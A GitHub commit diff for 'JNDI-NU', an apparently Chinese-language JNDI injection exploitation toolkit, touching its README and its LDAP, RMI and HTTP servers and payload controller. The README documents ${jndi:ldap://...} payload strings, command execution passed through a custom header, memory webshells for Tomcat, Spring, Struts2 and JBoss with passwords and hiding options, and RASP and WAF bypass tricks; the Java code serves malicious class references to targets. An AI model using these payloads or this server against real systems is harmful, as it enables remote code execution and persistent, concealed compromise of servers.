Skip to content

Commit 558bb1a

Browse files
author
Nuxm
committed
提交项目
1 parent c16fb81 commit 558bb1a

File tree

206 files changed

+436
-155
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

206 files changed

+436
-155
lines changed

‎.idea/compiler.xml‎

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

‎README.md‎

Lines changed: 4 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ Usage: java -jar JNDI-NU.jar [options]
1717
```
1818

1919
* 目前支持的所有 ```PayloadType``` 为
20-
* ```Bypass```: 用于rmi本地工程类加载，通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
20+
* ```Bypass```: 用于rmi本地工厂类加载，通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
2121
* ```TomcatEcho```: 用于在中间件为 ```Tomcat``` 时命令执行结果的回显，通过添加自定义```header``` ```nu1r: whoami```的方式传递想要执行的命令
2222
* ```SpringEcho```: 用于在框架为 ```SpringMVC/SpringBoot``` 时命令执行结果的回显，通过添加自定义```header``` ```nu1r: whoami``` 的方式传递想要执行的命令
2323
* ```nu1r```：用于执行命令，如果命令有特殊字符，支持对命令进行 Base64编码后传输
@@ -61,7 +61,7 @@ Usage: java -jar JNDI-NU.jar [options]
6161
- u：内存马绑定的路径,default [/version.txt]
6262
- pw：内存马的密码,default [p@ssw0rd]
6363
- r：内存马 Referer check,default [https://nu1r.cn/]
64-
- h：通过将文件写入$JAVA_HOME来隐藏内存shell，目前只支持SpringControllerMS
64+
- h：通过将文件写入$JAVA_HOME来隐藏内存shell，目前只支持 SpringControllerMS
6565
- ht：隐藏内存外壳，输入1:write /jre/lib/charsets.jar 2:write /jre/classes/
6666

6767
示例
@@ -91,6 +91,7 @@ Usage: java -jar JNDI-NU.jar [options]
9191
* ```WSFilter```: `CMD` 命令回显 WebSocket 内存马，`cmd命令回显`
9292
* ```TomcatExecutor``` : Executor 内存马，`cmd命令回显`
9393
* ```TomcatUpgrade```: TomcatUpgrade 内存马，`cmd命令回显`
94+
* ```Struts2ActionMS```: Action 类型内存马
9495

9596
---
9697

@@ -269,12 +270,6 @@ WF ：Write File - 通过 FileOutputStream.write() 来写入文件，使用命
269270

270271
- a：恶意类是否继承 AbstractTranslet
271272
- o：使用反射绕过
272-
- dt：使用脏数据绕过WAF，类型:1:Random Hashable Collections/2:LinkedList nested /3:TC_RESET in Serialized data
273-
- dl：使用类型1或3时脏数据的长度/使用类型2时嵌套循环的计数
274-
- 使用dt与dl指定混淆的方式： `dt` 指定混淆类型，默认为1， `dl` 指定脏数据大小，默认为5000
275-
- 当dt值为1时，随机使用 ArrayList/LinkedList/HashMap/LinkedHashMap/TreeMap 等集合类型来封装 object
276-
- 当dt值为2时，使用循环嵌套 LinkedList 来封装 object
277-
- 当dt值为3时，在 TC_RESET 中加入脏数据
278273
~~- j：使用 ObjectInputStream/ObjectOutputStream 来构造序列化流~~（这个构造的流有BUG，还在思考修复）
279274

280275
* 使用示例：
@@ -419,7 +414,7 @@ BC ：BCEL Classloader - 通过 ..bcel...ClassLoader.loadClass().newInstance()
419414
```
420415
{{url
421416
(${jndi:ldap://0.0.0.0:1389/Deserialization/CommonsCollections3/nu1r/Base64/{{base64
422-
(LF#/tmp/evil.class-org.su18.Evil)
417+
(LF#/tmp/evil.class-org)
423418
}}})
424419
}}
425420
```

‎src/main/java/com/nu1r/jndi/HTTPServer.java‎

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -35,8 +35,7 @@ public static void start() throws IOException {
3535
@Override
3636
public void handle(HttpExchange httpExchange) {
3737
try {
38-
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [LDAP] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
39-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA New HTTP Request From >> |@" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
38+
System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()));
4039

4140
String path = httpExchange.getRequestURI().getPath();
4241
if (path.endsWith(".class")) {
@@ -68,7 +67,7 @@ public void handle(HttpExchange httpExchange) {
6867

6968
httpServer.setExecutor(null);
7069
httpServer.start();
71-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA HTTP Server Start Listening on >> |@" + Config.httpPort + "..."));
70+
System.out.println(ansi().render("@|green [+]|@ HTTP Server Start Listening on >>" + Config.httpPort + "..."));
7271
}
7372

7473
private static void handleFileRequest(HttpExchange exchange) throws Exception {

‎src/main/java/com/nu1r/jndi/LdapServer.java‎

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -41,7 +41,7 @@ public static void start() {
4141
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
4242
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
4343
ds.startListening();
44-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA LDAP Server Start Listening on >>|@ " + Config.ldapPort + "..."));
44+
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
4545
} catch (Exception e) {
4646
e.printStackTrace();
4747
}
@@ -80,8 +80,7 @@ public void processSearchResult(InMemoryInterceptedSearchResult result) {
8080

8181
//收到ldap请求
8282
System.out.println("\n");
83-
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [LDAP] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
84-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Received LDAP Query >>|@ " + base));
83+
System.out.println(ansi().render("@|green [+]|@ Received LDAP Query >> " + base));
8584
LdapController controller = null;
8685
//find controller
8786
//根据请求的路径从route中匹配相应的controller

‎src/main/java/com/nu1r/jndi/RMIServer.java‎

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -92,7 +92,7 @@ public static void start() {
9292
String url = "http://" + Config.ip + ":" + Config.rmiPort;
9393

9494
try {
95-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA RMI Server Start Listening on >> |@" + Config.rmiPort + "..."));
95+
System.out.println(ansi().render("@|green [+]|@RMI Server Start Listening on >>" + Config.rmiPort + "..."));
9696
RMIServer c = new RMIServer(Config.rmiPort, new URL(url));
9797
c.run();
9898
} catch (Exception e) {
@@ -258,8 +258,7 @@ private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Ex
258258
}
259259

260260
String object = (String) ois.readObject();
261-
System.out.println(ansi().render("@|green [+]|@" + " [" + Ltime.getLocalTime() + "]" + " [RMI] " + "@|BG_green -----------------------------------------------------------------------------------------------------|@"));
262-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA RMI 服务器 >> RMI 查询 |@" + object + " " + method));
261+
System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> RMI 查询" + object + " " + method));
263262
out.writeByte(TransportConstants.Return); // transport op
264263
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
265264

@@ -270,10 +269,10 @@ private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Ex
270269
ReferenceWrapper rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
271270

272271
if (object.startsWith("Bypass")) {
273-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA RMI 服务器 >> 发送本地类加载引用|@"));
272+
System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 发送本地类加载引用"));
274273
Reflections.setFieldValue(rw, "wrappee", execByEL());
275274
} else {
276-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA RMI 服务器 >> 向目标发送 stub >>|@ %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
275+
System.out.println(ansi().render("@|green [+]|@RMI 服务器 >> 向目标发送 stub >> %s", new URL(this.classpathUrl, this.classpathUrl.getRef().replace('.', '/').concat(".class"))));
277276
Reflections.setFieldValue(rw, "wrappee", new Reference("Foo", this.classpathUrl.getRef(), this.classpathUrl.toString()));
278277
}
279278

‎src/main/java/com/nu1r/jndi/controllers/BasicController.java‎

Lines changed: 23 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -12,12 +12,14 @@
1212
import com.nu1r.jndi.template.Websphere.WebsphereMemshellTemplate;
1313
import com.nu1r.jndi.template.jboss.JBFMSFromContextF;
1414
import com.nu1r.jndi.template.jboss.JBSMSFromContextS;
15+
import com.nu1r.jndi.template.jboss.JbossEcho;
1516
import com.nu1r.jndi.template.jetty.JFMSFromJMXF;
1617
import com.nu1r.jndi.template.jetty.JSMSFromJMXS;
1718
import com.nu1r.jndi.template.resin.RFMSFromThreadF;
1819
import com.nu1r.jndi.template.resin.RSMSFromThreadS;
1920
import com.nu1r.jndi.template.spring.SpringControllerMS;
2021
import com.nu1r.jndi.template.spring.SpringInterceptorMS;
22+
import com.nu1r.jndi.template.struts2.Struts2ActionMS;
2123
import com.nu1r.jndi.template.tomcat.*;
2224
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
2325
import com.unboundid.ldap.sdk.Entry;
@@ -49,7 +51,7 @@ public class BasicController implements LdapController {
4951
@Override
5052
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
5153
try {
52-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Sending LDAP ResourceRef result for |@" + base + " @|MAGENTA with basic remote reference payload|@"));
54+
System.out.println(ansi().render("@|green [+]|@Sending LDAP ResourceRef result for" + base + " with basic remote reference payload"));
5355
Entry e = new Entry(base);
5456
String className = "";
5557
CtClass ctClass;
@@ -143,8 +145,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
143145
newClass.makeClassInitializer().insertBefore(className);
144146

145147
if (IS_INHERIT_ABSTRACT_TRANSLET) {
146-
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
147-
CtClass superClass = pool.get(abstTranslet.getName());
148+
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
149+
CtClass superClass = pool.get(abstTranslet.getName());
148150
newClass.setSuperclass(superClass);
149151
}
150152

@@ -187,8 +189,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
187189
newClass.makeClassInitializer().insertBefore(className);
188190

189191
if (IS_INHERIT_ABSTRACT_TRANSLET) {
190-
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
191-
CtClass superClass = pool.get(abstTranslet.getName());
192+
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
193+
CtClass superClass = pool.get(abstTranslet.getName());
192194
newClass.setSuperclass(superClass);
193195
}
194196

@@ -198,8 +200,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
198200
}
199201
}
200202
if (IS_INHERIT_ABSTRACT_TRANSLET) {
201-
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
202-
CtClass superClass = pool.get(abstTranslet.getName());
203+
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
204+
CtClass superClass = pool.get(abstTranslet.getName());
203205
ctClass.setSuperclass(superClass);
204206
}
205207
className = ctClass.getName();
@@ -242,8 +244,8 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
242244
newClass.makeClassInitializer().insertBefore(className);
243245

244246
if (IS_INHERIT_ABSTRACT_TRANSLET) {
245-
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
246-
CtClass superClass = pool.get(abstTranslet.getName());
247+
Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
248+
CtClass superClass = pool.get(abstTranslet.getName());
247249
newClass.setSuperclass(superClass);
248250
}
249251

@@ -255,10 +257,13 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
255257
className = ctClass.getName();
256258
ctClass.writeFile();
257259
break;
260+
case jbossecho:
261+
className = JbossEcho.class.getName();
262+
break;
258263
}
259264

260265
URL turl = new URL(new URL(this.codebase), className + ".class");
261-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Send LDAP reference result for |@" + base + " @|MAGENTA redirecting to |@" + turl));
266+
System.out.println(ansi().render("@|green [+]|@ Send LDAP reference result for " + base + " redirecting to" + turl));
262267
e.addAttribute("javaClassName", "foo");
263268
e.addAttribute("javaCodeBase", this.codebase);
264269
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
@@ -276,7 +281,7 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
276281
}
277282

278283
public static void main(String[] args) {
279-
System.out.println(ansi().fgRgb(188,232,105).render(" Windows下使用Agent写入"));
284+
System.out.println(ansi().fgRgb(188, 232, 105).render(" Windows下使用Agent写入"));
280285
}
281286

282287
@Override
@@ -288,7 +293,7 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
288293

289294
try {
290295
payloadType = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
291-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA PaylaodType >> |@" + payloadType));
296+
System.out.println(ansi().render("@|green [+]|@PaylaodType >> " + payloadType));
292297
} catch (IllegalArgumentException e) {
293298
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType >> " + base.substring(fistIndex + 1, secondIndex));
294299
}
@@ -333,17 +338,17 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
333338

334339
if (cmdLine.hasOption("winAgent")) {
335340
winAgent = true;
336-
System.out.println(ansi().fgRgb(188,232,105).render("[+] Windows下使用Agent写入"));
341+
System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Windows下使用Agent写入"));
337342
}
338343

339344
if (cmdLine.hasOption("linAgent")) {
340345
winAgent = true;
341-
System.out.println(ansi().fgRgb(188,232,105).render("[+] Linux下使用Agent写入"));
346+
System.out.println(ansi().fgRgb(188, 232, 105).render("[+] Linux下使用Agent写入"));
342347
}
343348

344349
if (cmdLine.hasOption("obscure")) {
345350
IS_OBSCURE = true;
346-
System.out.println(ansi().fgRgb(188,232,105).render("[+] 使用反射绕过RASP"));
351+
System.out.println(ansi().fgRgb(188, 232, 105).render("[+] 使用反射绕过RASP"));
347352
}
348353

349354
if (cmdLine.hasOption("url")) {
@@ -361,8 +366,8 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
361366
}
362367

363368
if (cmdLine.hasOption("referer")) {
364-
REFERER = cmdLine.getOptionValue("referer");
365-
System.out.println("[+] referer：" + REFERER);
369+
HEADER_KEY = cmdLine.getOptionValue("referer");
370+
System.out.println("[+] referer：" + HEADER_KEY);
366371
}
367372

368373
if (cmdLine.hasOption("AbstractTranslet")) {
@@ -381,7 +386,7 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
381386

382387
if (gadgetType == GadgetType.base64) {
383388
String cmd = Util.getCmdFromBase(base);
384-
System.out.println(ansi().render("@|green [+]|@ @|MAGENTA Command >> |@" + cmd));
389+
System.out.println(ansi().render("@|green [+]|@ Command >> " + cmd));
385390
params = new String[]{cmd};
386391
}
387392
} catch (Exception e) {

0 commit comments

Comments
 (0)